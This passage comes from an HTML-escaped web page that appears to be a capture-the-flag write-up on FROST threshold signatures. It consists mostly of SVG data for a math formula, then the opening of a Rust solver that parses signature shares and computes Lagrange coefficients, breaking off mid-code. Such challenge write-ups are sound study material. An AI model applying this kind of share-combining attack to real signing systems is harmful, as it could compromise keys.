4c.448.07.672.336.672.784%200%20.364-.182.546-.56.546-.476%200-.812-.42-.812-.896%200-.616.574-1.008%201.232-1.008.35%200%20.672.14.938.434.448.462.798%201.12%201.05%202.002.154.546.294%201.078.392%201.61l.812%204.354h1.148c.322%200%20.462.014.462.336%200%20.126-.14.196-.42.196H5.278c.084.574.476%202.688.602%202.954.14.294.336.434.588.434.21%200%20.392-.056.546-.154-.434-.098-.658-.35-.658-.784%200-.364.182-.546.56-.546.476%200%20.812.42.812.896%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22i%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.452-3.472c.126%200%20.196.07.196.196%200%20.042-.028.098-.07.154-.728.56-1.316%201.484-1.75%202.758-.378%201.106-.574%202.198-.574%203.276v1.176c0%201.078.196%202.17.574%203.276.434%201.274%201.022%202.198%201.75%202.758.042.042.07.098.07.154%200%20.126-.07.196-.196.196a.24.24%200%200%201-.098-.042c-.84-.644-1.54-1.596-2.114-2.87-.546-1.218-.826-2.366-.826-3.472V2.912c0-1.106.28-2.254.826-3.472.574-1.274%201.274-2.226%202.114-2.87a.24.24%200%200%201%20.098-.042%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22j%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.438%205.488c.756%201.134%201.134%202.226%201.134%203.248%200%20.756-.294%201.134-.868%201.134-.546%200-1.064-.406-1.582-1.232a11%2011%200%200%201-.756-1.4c-.728-1.666-1.092-3.262-1.092-4.774L.238%201.456q-.084-.105-.084-.168c0-.154.07-.238.224-.238.056%200%20.364.28.938.84.196-1.372.728-2.058%201.582-2.058.518%200%201.148.322%201.876.98q.336.294.336.42c0%20.154-.07.224-.224.224-.042%200-.112-.042-.21-.14C3.948.602%203.36.252%202.926.252c-.518%200-.784.574-.784%201.736%200%20.84-.014.742.35%201.106a15.4%2015.4%200%200%201%201.946%202.394m.28%203.962c.28%200%20.42-.224.42-.658%200-1.498-.938-3.248-2.828-5.264.196%201.106.896%203.682%201.358%204.662q.609%201.26%201.05%201.26%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22k%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M1.092-3.43c.84.644%201.54%201.596%202.114%202.87.546%201.218.826%202.366.826%203.472v1.176c0%201.106-.28%202.254-.826%203.472-.574%201.274-1.274%202.226-2.114%202.87a.24.24%200%200%201-.098.042c-.126%200-.196-.07-.196-.196%200-.056.028-.112.07-.154.728-.56%201.316-1.484%201.75-2.758.378-1.106.574-2.198.574-3.276V2.912c0-1.078-.196-2.17-.574-3.276-.434-1.274-1.022-2.198-1.75-2.758-.042-.056-.07-.112-.07-.154%200-.126.07-.196.196-.196.014%200%20.056.014.098.042%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22l%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M2.688%203.5a.747.747%200%200%201-.742.742.747.747%200%200%201-.742-.742c0-.406.336-.742.742-.742s.742.336.742.742%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22m%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M10.29-6.3h6.804v.868q-1.323%200-1.806.378c-.322.252-.476.616-.476%201.092v14.924c0%20.49.154.854.476%201.106s.924.364%201.806.364v.868H.784v-.868q1.323%200%201.806-.378c.322-.252.476-.616.476-1.092V-3.962c0-.49-.154-.854-.476-1.106s-.924-.364-1.806-.364V-6.3h6.804v.868q-1.323%200-1.806.378c-.322.252-.476.616-.476%201.092v16.394h7.266V-3.962c0-.49-.154-.854-.476-1.106s-.924-.364-1.806-.364Z%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22n%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.302%206.086a.41.41%200%200%201-.421.411c-.284%200-.578-.284-.578-.568a.41.41%200%200%201%20.421-.412c.294%200%20.578.275.578.569M2.882%204.34c-.55%200-1.03-.362-1.285-.705q-.44-.633-.44-.823c0-.108.068-.157.195-.157q.147.002.236.196c.107.235.235.44.382.627.284.343.578.51.882.51.186%200%20.284-.147.284-.432%200-.117-.01-.215-.03-.284L2.187-.44C2.047-1%201.606-1.646.98-1.646a1%201%200%200%200-.245.029.53.53%200%200%201%20.265.48c0%20.265-.138.402-.412.402C.255-.735%200-1.019%200-1.352%200-1.803.49-2%20.99-2c.225%200%20.47.039.725.127.608.206%201.156.784%201.313%201.44l.872%203.47c.03.127.05.245.05.353%200%20.568-.5.95-1.069.95%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22o%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M1.656%201.127a.563.563%200%200%201-.558-.578c0-.343.235-.598.568-.598a.6.6%200%200%201%20.343.108%202.3%202.3%200%200%200-.706-1.637c-.049-.049-.078-.088-.078-.137%200-.118.059-.176.167-.176.068%200%20.166.078.313.235.324.353.637%201.068.637%201.705%200%20.539-.196%201.078-.686%201.078%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22p%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M6.84%201.744H3.802l.51%201.412H6.84q.236%200%20.236.235t-.236.235H4.488L5.645%206.84c.02.03.03.05.03.079q-.001.235-.236.235c-.127%200-.196-.049-.225-.157L3.989%203.626H.784q-.235%200-.235-.235t.235-.235h3.038l-.51-1.412H.784q-.235%200-.235-.235t.235-.235h2.352L1.97-1.94c-.01-.02-.01-.05-.01-.079q0-.235.235-.235c.118%200%20.186.049.216.157l1.225%203.371H6.84q.236%200%20.236.235a.245.245%200%200%201-.236.235%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22q%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M5.558%208.694c0%20.378-.196.56-.574.56-.392%200-.784-.392-.784-.784%200-.378.182-.56.56-.56.392%200%20.798.392.798.784m-1.82-2.478c-.742%200-1.372-.56-1.68-1.05-.378-.602-.56-.98-.56-1.148%200-.126.07-.182.21-.182.07%200%20.112.014.154.028.07.112.112.21.154.28.448%201.106%201.008%201.652%201.68%201.652.252%200%20.378-.196.378-.574%200-.21-.028-.448-.098-.7L2.688-.644C2.492-1.456%201.932-2.45%201.05-2.45a1.2%201.2%200%200%200-.378.056c.35.14.518.392.518.742%200%20.364-.196.546-.574.546-.448%200-.798-.406-.798-.854%200-.616.602-.91%201.26-.91q.903%200%201.68.63c.49.406.798.924.952%201.526l1.274%205.068c.042.182.07.364.07.532%200%20.77-.546%201.33-1.316%201.33%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22r%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M9.772%203.78H1.12c-.224%200-.336-.098-.336-.28s.112-.28.336-.28h8.652c.224%200%20.336.098.336.28%200%20.168-.168.28-.336.28%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22s%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M3.486-.308C5.46-.308%206.44%201.288%206.44%204.48c0%202.142-.448%203.57-1.33%204.27-.49.378-1.036.574-1.61.574-1.974%200-2.954-1.61-2.954-4.844%200-2.576.686-4.788%202.94-4.788m1.568%207.644c.098-.49.14-1.386.14-2.688%200-1.288-.056-2.24-.154-2.856Q4.767.112%203.486.112c-.322%200-.644.126-.938.364-.378.322-.602.98-.7%201.988-.042.35-.056%201.078-.056%202.184%200%201.218.042%202.072.112%202.534.126.77.378%201.26.77%201.47.308.168.574.252.812.252.91%200%201.414-.742%201.568-1.568%22%2F%3E%3C%2Fsymbol%3E%3C%2Fdefs%3E%3C%2Fsvg%3E&quot; class=&quot;typst-display typst-doc&quot; style=&quot; width: 16.67151111111111em&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;actually-solving-the-challenge&quot;&gt;Actually solving the challenge&lt;&#x2F;h3&gt;
&lt;pre data-copy data-lang=&quot;rs&quot; class=&quot;language-rs z-code&quot;&gt;&lt;code class=&quot;language-rs&quot; data-lang=&quot;rs&quot;&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-keyword z-other z-rust&quot;&gt;use&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;frost_core&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;compute_lagrange_coefficient&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-keyword z-other z-rust&quot;&gt;use&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;frost_secp256k1&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-rust&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-variable z-language z-rust&quot;&gt;self&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; 
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    Identifier&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; 
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    SigningKey&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; 
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;rand_core&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;OsRng&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt; 
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;round2&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;SignatureShare
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-end z-rust&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-keyword z-other z-rust&quot;&gt;use&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;std&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-path z-rust&quot;&gt;collections&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;BTreeSet&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-storage z-type z-function z-rust&quot;&gt;fn&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function z-rust&quot;&gt;str_to_scalar&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter z-rust&quot;&gt;s&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-rust&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span class=&quot;z-storage z-type z-rust&quot;&gt;str&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt; &lt;span class=&quot;z-meta z-function z-return-type z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;k256&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;Scalar&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-rust&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;SignatureShare&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;deserialize&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-bitwise z-rust&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-path z-rust&quot;&gt;hex&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;decode&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;s&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;share&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-rust&quot;&gt;0&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-end z-rust&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-storage z-type z-function z-rust&quot;&gt;fn&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function z-rust&quot;&gt;main&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-rust&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;let&lt;&#x2F;span&gt; ids&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-generic z-rust&quot;&gt;&lt;span class=&quot;z-support z-type z-rust&quot;&gt;Vec&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-generic z-begin z-rust&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;Identifier&lt;span class=&quot;z-punctuation z-definition z-generic z-end z-rust&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-rust&quot;&gt;1&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-range z-rust&quot;&gt;..&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-rust&quot;&gt;3&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;map&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-closure z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-begin z-rust&quot;&gt;|&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-closure z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-variable z-parameter z-rust&quot;&gt;i&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-end z-rust&quot;&gt;|&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-closure z-rust&quot;&gt;&lt;span class=&quot;z-meta z-path z-rust&quot;&gt;Identifier&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;new&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-path z-rust&quot;&gt;k256&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-path z-rust&quot;&gt;Scalar&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;from&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;i &lt;span class=&quot;z-keyword z-operator z-rust&quot;&gt;as&lt;&#x2F;span&gt; &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;u64&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;collect&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;let&lt;&#x2F;span&gt; shares &lt;span class=&quot;z-keyword z-operator z-assignment z-rust&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;[&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;        &lt;span class=&quot;z-comment z-line z-double-slash z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-rust&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt; (from, to, share)
